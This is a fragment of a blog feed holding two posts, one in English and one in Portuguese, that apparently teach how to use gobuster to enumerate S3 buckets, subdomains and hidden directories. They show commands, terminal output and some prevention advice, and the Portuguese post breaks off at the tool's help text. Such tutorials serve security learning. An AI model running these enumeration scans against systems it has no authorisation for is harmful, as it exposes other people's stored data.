      &lt;span class="nt"&gt;--debug&lt;/span&gt;                 Enable debug output
      &lt;span class="nt"&gt;--delay&lt;/span&gt; duration        Time each thread waits between requests &lt;span class="o"&gt;(&lt;/span&gt;e.g. 1500ms&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--no-color&lt;/span&gt;              Disable color output
      &lt;span class="nt"&gt;--no-error&lt;/span&gt;              Don&lt;span class="s1"&gt;'t display errors
  -z, --no-progress           Don'&lt;/span&gt;t display progress
  &lt;span class="nt"&gt;-o&lt;/span&gt;, &lt;span class="nt"&gt;--output&lt;/span&gt; string         Output file to write results to &lt;span class="o"&gt;(&lt;/span&gt;defaults to stdout&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt;, &lt;span class="nt"&gt;--pattern&lt;/span&gt; string        File containing replacement patterns
  &lt;span class="nt"&gt;-q&lt;/span&gt;, &lt;span class="nt"&gt;--quiet&lt;/span&gt;                 Don&lt;span class="s1"&gt;'t print the banner and other noise
  -t, --threads int           Number of concurrent threads (default 10)
  -v, --verbose               Verbose output (errors)
  -w, --wordlist string       Path to the wordlist. Set to - to use STDIN.
      --wordlist-offset int   Resume from a given position in the wordlist (defaults to 0)


&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;We will create a file named ‘bucket_list.txt’ and add a list of names that can be used as bucket names in Amazon S3. After creating the file, we will proceed with the following command:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;p&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]&lt;br&gt;
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster s3 &lt;span class="nt"&gt;-w&lt;/span&gt; bucket_list.txt &lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
Gobuster v3.6&lt;br&gt;
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                bucket_list.txt&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.6&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Maximum files to list:   5&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;S3 bucket enumeration mode&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"&lt;a href="https://dev.app.test.io.com.br.s3.amazonaws.com/?max-keys=5" rel="noopener noreferrer"&gt;https://dev.app.test.io.com.br.s3.amazonaws.com/?max-keys=5&lt;/a&gt;"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;&lt;em&gt;&lt;/em&gt;&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not dev.app.test.io.com.br.s3.amazonaws.com&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"&lt;a href="https://beta.test.io.com.br.s3.amazonaws.com/?max-keys=5" rel="noopener noreferrer"&gt;https://beta.test.io.com.br.s3.amazonaws.com/?max-keys=5&lt;/a&gt;"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not beta.test.io.com.br.s3.amazonaws.com&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"&lt;a href="https://echo.test.io.s3.amazonaws.com/?max-keys=5" rel="noopener noreferrer"&gt;https://echo.test.io.s3.amazonaws.com/?max-keys=5&lt;/a&gt;"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;&lt;em&gt;&lt;/em&gt;&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not echo.test.io.s3.amazonaws.com&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"&lt;a href="https://test.io.com.br.s3.amazonaws.com/?max-keys=5" rel="noopener noreferrer"&gt;https://test.io.com.br.s3.amazonaws.com/?max-keys=5&lt;/a&gt;"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not test.io.com.br.s3.amazonaws.com&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"&lt;a href="https://test.com.br.s3.amazonaws.com/?max-keys=5" rel="noopener noreferrer"&gt;https://test.com.br.s3.amazonaws.com/?max-keys=5&lt;/a&gt;"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;&lt;em&gt;&lt;/em&gt;&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not test.com.br.s3.amazonaws.com&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;ERROR] Get &lt;span class="s2"&gt;"&lt;a href="https://app.test.io.com.br.s3.amazonaws.com/?max-keys=5" rel="noopener noreferrer"&gt;https://app.test.io.com.br.s3.amazonaws.com/?max-keys=5&lt;/a&gt;"&lt;/span&gt;: tls: failed to verify certificate: x509: certificate is valid &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="k"&gt;&lt;/span&gt;.s3.amazonaws.com, s3.amazonaws.com, not app.test.io.com.br.s3.amazonaws.com&lt;/p&gt;

&lt;p&gt;&lt;a href="http://prod_test.s3.amazonaws.com/" rel="noopener noreferrer"&gt;http://prod_test.s3.amazonaws.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="http://test-images.s3.amazonaws.com/" rel="noopener noreferrer"&gt;http://test-images.s3.amazonaws.com/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Progress: 8 / 9 &lt;span class="o"&gt;(&lt;/span&gt;88.89%&lt;span class="o"&gt;)&lt;/span&gt;&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
Finished&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  Directory Module&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;The directory scanning function in Gobuster plays a crucial role in searching for hidden files and URL paths. This encompasses a wide variety of resources, ranging from images and script files to virtually any type of file available on the Internet.&lt;/p&gt;

&lt;p&gt;Here’s the command to use the dir module on the previously found DNS:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;p&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~/Documentos/artigo-s3]&lt;br&gt;
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster &lt;span class="nb"&gt;dir&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; files_list.txt  &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;a href="http://test-images.s3.amazonaws.com/" rel="noopener noreferrer"&gt;http://test-images.s3.amazonaws.com/&lt;/a&gt; &lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
Gobuster v3.6&lt;br&gt;
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Url:                     &lt;a href="http://test-images.s3.amazonaws.com/" rel="noopener noreferrer"&gt;http://test-images.s3.amazonaws.com/&lt;/a&gt;&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Method:                  GET&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:                 10&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:                files_list.txt&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Negative Status codes:   404&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Exclude Length:          243&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] User Agent:              gobuster/3.6&lt;br&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:                 10s&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;directory enumeration mode&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;/image/b26086426c7e483b2924e775485b3215.jpg &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 629968]&lt;br&gt;
/image/contrato.jpg   &lt;span class="o"&gt;(&lt;/span&gt;Status: 200&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;Size: 2830252]&lt;/p&gt;

&lt;p&gt;&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;br&gt;
Finished&lt;br&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h2&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  How to Prevent Gobuster Enumeration Attacks&lt;br&gt;
&lt;/h2&gt;

&lt;p&gt;If you are concerned about Amazon S3 security and want to prevent bucket enumeration, here are some measures you can take:&lt;/p&gt;

&lt;p&gt;Access Control: Use strict access control policies and permissions in Amazon S3 to ensure that only authorized individuals can list, access, or modify resources. Monitor Activities: Implement activity monitoring in your Amazon S3 to detect unauthorized access attempts or bucket enumeration. Restrict Access by Referrer: Use conditional referencing to restrict bucket access based on the “Referer” header of the HTTP request. Block Directory Access: Configure directories within the bucket not to allow listing, making it harder to enumerate subdirectories. Protect Your Credentials: Keep your credentials secure and avoid sharing them improperly. Regular Audits: Conduct regular audits of your Amazon S3 configuration to ensure that your security measures are up to date and effective. Use Bot Protection Solutions: Bot protection services like Cloudflare will prevent any brute force attacks, making it incredibly difficult to attack your web application.&lt;br&gt;
Conclusion&lt;/p&gt;

&lt;p&gt;Remember that Amazon S3 security is crucial because unauthorized access to your buckets can lead to data leaks and other vulnerabilities.&lt;/p&gt;

&lt;p&gt;Be sure to follow AWS’s best security practices to properly protect your resources in S3.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referencies
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://medium.com/quiknapp/fuzz-faster-with-ffuf-c18c031fc480" rel="noopener noreferrer"&gt;https://medium.com/quiknapp/fuzz-faster-with-ffuf-c18c031fc480&lt;/a&gt;&lt;br&gt;
&lt;a href="https://medium.com/@janijay007/s3-bucket-misconfiguration-from-basics-to-pawn-6893776d1007" rel="noopener noreferrer"&gt;https://medium.com/@janijay007/s3-bucket-misconfiguration-from-basics-to-pawn-6893776d1007&lt;/a&gt;&lt;br&gt;
&lt;a href="https://takahiro-oda.medium.com/project-perform-s3-bucket-enumeration-using-various-s3-bucket-enumeration-tools-f4f63923b28" rel="noopener noreferrer"&gt;https://takahiro-oda.medium.com/project-perform-s3-bucket-enumeration-using-various-s3-bucket-enumeration-tools-f4f63923b28&lt;/a&gt;&lt;br&gt;
&lt;a href="https://medium.com/stealthsecurity/finding-hidden-directories-sub-domains-and-s3-buckets-using-gobuster-5c2e3c41ff96" rel="noopener noreferrer"&gt;https://medium.com/stealthsecurity/finding-hidden-directories-sub-domains-and-s3-buckets-using-gobuster-5c2e3c41ff96&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>s3</category>
      <category>osint</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Descubra como encontrar buckets ocultos na nuvem da Amazon S3! 👀🔍</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sat, 28 Oct 2023 21:40:05 +0000</pubDate>
      <link>https://forem.com/higordiego/descubra-como-encontrar-buckets-secretos-na-nuvem-da-amazon-s3--105m</link>
      <guid>https://forem.com/higordiego/descubra-como-encontrar-buckets-secretos-na-nuvem-da-amazon-s3--105m</guid>
      <description>&lt;p&gt;Hoje vamos falar sobre uma parada que é pura emoção: encontrar diretórios ocultos nos famosos S3 buckets da Amazon.&lt;/p&gt;

&lt;p&gt;Mas, antes de irmos fundo nesse assunto, um aviso importante: aqui é tudo na base da educação, ok? Se você fizer lambança e der ruim, a responsa não é minha. Sempre peça permissão antes de sair fazendo varredura, força bruta ou exploração em sistemas alheios. Beleza? 😉&lt;/p&gt;

&lt;h3&gt;
  
  
  Amazon S3
&lt;/h3&gt;

&lt;p&gt;O Amazon S3 é um serviço de armazenamento de objetos altamente escalável e durável oferecido pela Amazon Web Services (AWS). Ele foi projetado para armazenar, gerenciar e recuperar grandes quantidades de dados de forma confiável e segura na nuvem. O S3 é amplamente utilizado por empresas de todos os tamanhos para armazenar uma variedade de tipos de dados, como arquivos, imagens, vídeos e backups, tornando-o uma escolha popular para soluções de armazenamento na nuvem. Sua escalabilidade, alta disponibilidade e segurança o tornam uma ferramenta essencial para diversas aplicações, desde hospedagem de sites até análise de dados e backup de informações críticas.&lt;/p&gt;

&lt;h3&gt;
  
  
  Configurações e riscos de segurança S3
&lt;/h3&gt;

&lt;p&gt;O Amazon S3 é uma plataforma incrivelmente versátil, atendendo a uma ampla gama de necessidades, desde o armazenamento de backups e dados de websites até a execução de análises de Big Data e o gerenciamento de arquivos. No entanto, ao lidar com um volume tão vasto e diversificado de dados em um único local, surgem preocupações legítimas sobre segurança.&lt;/p&gt;

&lt;p&gt;Então, quais são essas preocupações de segurança e quais configurações de segurança um administrador pode implementar para proteger adequadamente um "bucket" e seus arquivos no Amazon S3?&lt;/p&gt;

&lt;p&gt;Em primeiro lugar, é fundamental entender que o Amazon S3 é considerado uma "plataforma publicamente acessível". Isso significa que, com a URL e as permissões apropriadas, qualquer "bucket" pode ser acessado de qualquer lugar por meio de solicitações HTTP, semelhante ao que um navegador faz para acessar um site comum.&lt;/p&gt;

&lt;p&gt;A acessibilidade de um "bucket" por meio de sua URL depende das medidas de segurança habilitadas ou não. No entanto, é importante destacar que o Amazon S3 não é um recurso escondido, disponível apenas após passar por várias camadas de autenticação. Pelo contrário, é um recurso que pode ser acessado por meio dos endpoints da AWS de qualquer lugar na web, o que representa o principal risco de segurança. Qualquer "bucket" S3 e seus dados associados têm o potencial de serem acessíveis.&lt;/p&gt;

&lt;p&gt;No que diz respeito à segurança do Amazon S3, as verificações implementadas pelo serviço para autorizar o acesso a um recurso S3, seja um "bucket" ou um objeto, são robustas. O S3 avalia as permissões em nível de usuário, por meio de políticas de "bucket", listas de controle de acesso (ACLs) de "bucket" e ACLs de objeto. Essas camadas de segurança são essenciais para garantir que apenas usuários autorizados possam acessar e manipular os dados armazenados no S3.&lt;/p&gt;

&lt;h3&gt;
  
  
  Como encontrar buckets abertos da Amazon S3
&lt;/h3&gt;

&lt;p&gt;Nos últimos anos, presenciamos incidentes alarmantes de vazamentos de dados em grandes empresas devido à exposição de "buckets" no Amazon S3. Se você quiser conferir uma lista dos vazamentos mais notórios, pode encontrá-la &lt;a href="https://github.com/nagwww/s3-leaks"&gt;aqui&lt;/a&gt;. Através dessas falhas de segurança, uma ampla gama de informações confidenciais foi, inadvertidamente, tornada acessível ao público. Estamos falando de números de Seguro Social, fotos pessoais, registros de vendas, nomes de usuário e senhas, históricos médicos e relatórios de crédito, entre outras coisas.&lt;/p&gt;

&lt;h3&gt;
  
  
  Ferramentas de pesquisa de bucket S3
&lt;/h3&gt;

&lt;p&gt;Se você está interessado em explorar "buckets" disponíveis publicamente no Amazon S3, é necessário utilizar uma ferramenta que execute testes para verificar a existência desses "buckets". Quando um nome de "bucket" não existe, o serviço retornará um código de erro chamado "NoSuchBucket". Felizmente, existem várias ferramentas disponíveis para essa finalidade.&lt;/p&gt;

&lt;p&gt;Inicialmente, algumas das primeiras ferramentas de busca de "buckets" no S3 incluíam opções como o Bucket Lazy S3, bucket_finder, AWS Cred Scanner, sandcastle, Mass3, Dumpster Diver, S3 Bucket Finder, gobuster e S3Scanner. Essas ferramentas desempenharam um papel importante ao verificar palavras-chave nos nomes de "buckets" publicamente acessíveis, embora apresentassem algumas limitações. Os resultados muitas vezes incluíam "buckets" irrelevantes e exibiam apenas os primeiros mil arquivos de seu conteúdo.&lt;/p&gt;

&lt;h3&gt;
  
  
  O que é Gobuster
&lt;/h3&gt;

&lt;p&gt;Desenvolvido na linguagem Go, o Gobuster é um scanner de alta performance que se revela uma ferramenta valiosa para localizar diretórios ocultos, URLs, subdomínios e buckets S3.&lt;/p&gt;

&lt;p&gt;A pergunta que frequentemente surge é: "E quanto ao Ffuf?" Embora o Ffuf seja um web fuzzer notável, o Gobuster emerge como uma alternativa ainda mais veloz e versátil. Além disso, o Gobuster oferece suporte a extensões que ampliam suas funcionalidades, o que é um diferencial. O programa também é capaz de dimensionar suas operações com o uso de múltiplas threads e realizar varreduras paralelas para agilizar os resultados.&lt;/p&gt;

&lt;p&gt;Agora, quanto à instalação do Gobuster, o processo é bastante simples. Se você estiver usando o Kali Linux ou o Parrot OS, o Gobuster já estará pré-instalado para você.&lt;/p&gt;

&lt;p&gt;Se, por outro lado, você utiliza o Ubuntu ou um sistema baseado no Debian, é possível instalar o Gobuster com facilidade utilizando o apt:&lt;/p&gt;

&lt;p&gt;Linux&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;apt &lt;span class="nb"&gt;install &lt;/span&gt;gobuster
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MacOs&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;brew &lt;span class="nb"&gt;install &lt;/span&gt;gobuster
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Após concluir a instalação, será necessário contar com uma lista de palavras. Essa lista pode englobar senhas, nomes de usuário, subdomínios e assim por diante. Existem várias fontes onde você pode obter listas de palavras úteis.&lt;/p&gt;

&lt;p&gt;Minha recomendação é utilizar o Seclists. O Seclists é um repositório abrangente de diversas listas usadas em avaliações de segurança. Isso inclui coleções de nomes de usuário, senhas, URLs, e muito mais. Se você estiver utilizando o Kali Linux, pode encontrar o Seclists no diretório /usr/share/wordlists.&lt;/p&gt;

&lt;p&gt;Para experimentar o Gobuster em tempo real, você tem a opção de usar seu próprio site como alvo ou, de forma prática, empregar um aplicativo da web chamado Damn Vulnerable Web Application (DVWA). O DVWA é uma aplicação da web propositadamente mal configurada, criada para ser vulnerável de forma intencional. É uma ferramenta frequentemente utilizada por profissionais de testes de penetração para praticar e aprimorar suas habilidades em ataques a aplicações web.&lt;/p&gt;

&lt;h3&gt;
  
  
  Módulo DNS
&lt;/h3&gt;

&lt;p&gt;O DNS, que significa Sistema de Nomes de Domínio, é um pilar da Internet que converte nomes de domínio fáceis de entender para endereços IP, que são usados por computadores para identificar recursos na rede. Ele age como uma espécie de "catálogo telefônico" da Internet, permitindo que navegadores e aplicativos localizem servidores e sites correspondentes aos nomes de domínio inseridos pelos usuários. O DNS desempenha um papel crucial na facilitação da navegação na web e na comunicação online.&lt;/p&gt;

&lt;p&gt;O modo DNS é empregado para descobrir subdomínios ocultos dentro de um domínio-alvo. Por exemplo, se você possui um domínio chamado meudomínio.com, é possível utilizar o Gobuster para encontrar subdomínios como admin.meudominio.com, suporte.meudominio.com e assim por diante.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster dns &lt;span class="nt"&gt;-h&lt;/span&gt;
Uses DNS subdomain enumeration mode

Usage:
  gobuster dns &lt;span class="o"&gt;[&lt;/span&gt;flags]

Flags:
  &lt;span class="nt"&gt;-d&lt;/span&gt;, &lt;span class="nt"&gt;--domain&lt;/span&gt; string      The target domain
  &lt;span class="nt"&gt;-h&lt;/span&gt;, &lt;span class="nt"&gt;--help&lt;/span&gt;               &lt;span class="nb"&gt;help &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;dns
      &lt;span class="nt"&gt;--no-fqdn&lt;/span&gt;            Do not automatically add a trailing dot to the domain, so the resolver uses the DNS search domain
  &lt;span class="nt"&gt;-r&lt;/span&gt;, &lt;span class="nt"&gt;--resolver&lt;/span&gt; string    Use custom DNS server &lt;span class="o"&gt;(&lt;/span&gt;format server.com or server.com:port&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-c&lt;/span&gt;, &lt;span class="nt"&gt;--show-cname&lt;/span&gt;         Show CNAME records &lt;span class="o"&gt;(&lt;/span&gt;cannot be used with &lt;span class="s1"&gt;'-i'&lt;/span&gt; option&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-i&lt;/span&gt;, &lt;span class="nt"&gt;--show-ips&lt;/span&gt;           Show IP addresses
      &lt;span class="nt"&gt;--timeout&lt;/span&gt; duration   DNS resolver &lt;span class="nb"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default 1s&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--wildcard&lt;/span&gt;           Force continued operation when wildcard found

Global Flags:
      &lt;span class="nt"&gt;--debug&lt;/span&gt;                 Enable debug output
      &lt;span class="nt"&gt;--delay&lt;/span&gt; duration        Time each thread waits between requests &lt;span class="o"&gt;(&lt;/span&gt;e.g. 1500ms&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--no-color&lt;/span&gt;              Disable color output
      &lt;span class="nt"&gt;--no-error&lt;/span&gt;              Don&lt;span class="s1"&gt;'t display errors
  -z, --no-progress           Don'&lt;/span&gt;t display progress
  &lt;span class="nt"&gt;-o&lt;/span&gt;, &lt;span class="nt"&gt;--output&lt;/span&gt; string         Output file to write results to &lt;span class="o"&gt;(&lt;/span&gt;defaults to stdout&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-p&lt;/span&gt;, &lt;span class="nt"&gt;--pattern&lt;/span&gt; string        File containing replacement patterns
  &lt;span class="nt"&gt;-q&lt;/span&gt;, &lt;span class="nt"&gt;--quiet&lt;/span&gt;                 Don&lt;span class="s1"&gt;'t print the banner and other noise
  -t, --threads int           Number of concurrent threads (default 10)
  -v, --verbose               Verbose output (errors)
  -w, --wordlist string       Path to the wordlist. Set to - to use STDIN.
      --wordlist-offset int   Resume from a given position in the wordlist (defaults to 0)

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Iremos executar uma enumeração de dns, você pode executar com o seguinte comando:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster dns &lt;span class="nt"&gt;-d&lt;/span&gt; test.io &lt;span class="nt"&gt;-w&lt;/span&gt; /usr/share/wordlists/dirb/common.txt 

&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Gobuster v3.6
by OJ Reeves &lt;span class="o"&gt;(&lt;/span&gt;@TheColonial&lt;span class="o"&gt;)&lt;/span&gt; &amp;amp; Christian Mehlmauer &lt;span class="o"&gt;(&lt;/span&gt;@firefart&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
&lt;span class="o"&gt;[&lt;/span&gt;+] Domain:     test.io
&lt;span class="o"&gt;[&lt;/span&gt;+] Threads:    10
&lt;span class="o"&gt;[&lt;/span&gt;+] Timeout:    1s
&lt;span class="o"&gt;[&lt;/span&gt;+] Wordlist:   /usr/share/wordlists/dirb/common.txt
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Starting gobuster &lt;span class="k"&gt;in &lt;/span&gt;DNS enumeration mode
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Found: api.test.io

Progress: 4614 / 4615 &lt;span class="o"&gt;(&lt;/span&gt;99.98%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;===============================================================&lt;/span&gt;
Finished
&lt;span class="o"&gt;===============================================================&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Módulo AWS S3
&lt;/h3&gt;

&lt;p&gt;O Amazon S3 é amplamente adotado por um grande número de empresas para distribuir conteúdo, abrangendo desde material público, como imagens de sites, até arquivos privados e confidenciais.&lt;/p&gt;

&lt;p&gt;Agora, vamos explorar o comando de ajuda para identificar os diversos parâmetros oferecidos pelo Gobuster em seu modo S3.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
┌──&lt;span class="o"&gt;(&lt;/span&gt;higordiego㉿host&lt;span class="o"&gt;)&lt;/span&gt;-[~]
└─&lt;span class="nv"&gt;$ &lt;/span&gt;gobuster s3 &lt;span class="nt"&gt;-h&lt;/span&gt;                                                                                           
Uses aws bucket enumeration mode

Usage:
  gobuster s3 &lt;span class="o"&gt;[&lt;/span&gt;flags]

Flags:
      &lt;span class="nt"&gt;--client-cert-p12&lt;/span&gt; string            a p12 file to use &lt;span class="k"&gt;for &lt;/span&gt;options TLS client certificates
      &lt;span class="nt"&gt;--client-cert-p12-password&lt;/span&gt; string   the password to the p12 file
      &lt;span class="nt"&gt;--client-cert-pem&lt;/span&gt; string            public key &lt;span class="k"&gt;in &lt;/span&gt;PEM format &lt;span class="k"&gt;for &lt;/span&gt;optional TLS client certificates
      &lt;span class="nt"&gt;--client-cert-pem-key&lt;/span&gt; string        private key &lt;span class="k"&gt;in &lt;/span&gt;PEM format &lt;span class="k"&gt;for &lt;/span&gt;optional TLS client certificates &lt;span class="o"&gt;(&lt;/span&gt;this key needs to have no password&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-h&lt;/span&gt;, &lt;span class="nt"&gt;--help&lt;/span&gt;                              &lt;span class="nb"&gt;help &lt;/span&gt;&lt;span class="k"&gt;for &lt;/span&gt;s3
  &lt;span class="nt"&gt;-m&lt;/span&gt;, &lt;span class="nt"&gt;--maxfiles&lt;/span&gt; int                      max files to list when listing buckets &lt;span class="o"&gt;(&lt;/span&gt;only shown &lt;span class="k"&gt;in &lt;/span&gt;verbose mode&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default 5&lt;span class="o"&gt;)&lt;/span&gt;
  &lt;span class="nt"&gt;-k&lt;/span&gt;, &lt;span class="nt"&gt;--no-tls-validation&lt;/span&gt;                 Skip TLS certificate verification
      &lt;span class="nt"&gt;--proxy&lt;/span&gt; string                      Proxy to use &lt;span class="k"&gt;for &lt;/span&gt;requests &lt;span class="o"&gt;[&lt;/span&gt;http&lt;span class="o"&gt;(&lt;/span&gt;s&lt;span class="o"&gt;)&lt;/span&gt;://host:port] or &lt;span class="o"&gt;[&lt;/span&gt;socks5://host:port]
      &lt;span class="nt"&gt;--random-agent&lt;/span&gt;                      Use a random User-Agent string
      &lt;span class="nt"&gt;--retry&lt;/span&gt;                             Should retry on request &lt;span class="nb"&gt;timeout&lt;/span&gt;
      &lt;span class="nt"&gt;--retry-attempts&lt;/span&gt; int                Times to retry on request &lt;span class="nb"&gt;timeout&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;default 3&lt;span class="o"&gt;)&lt;/span&gt;
      &lt;span class="nt"&gt;--timeout&lt;/span&gt; duration                  HTTP Timeout &lt;span class="o"&gt;(&lt;/span&gt;default 10s&lt;span class="o"&gt;)&lt;/span&gt;
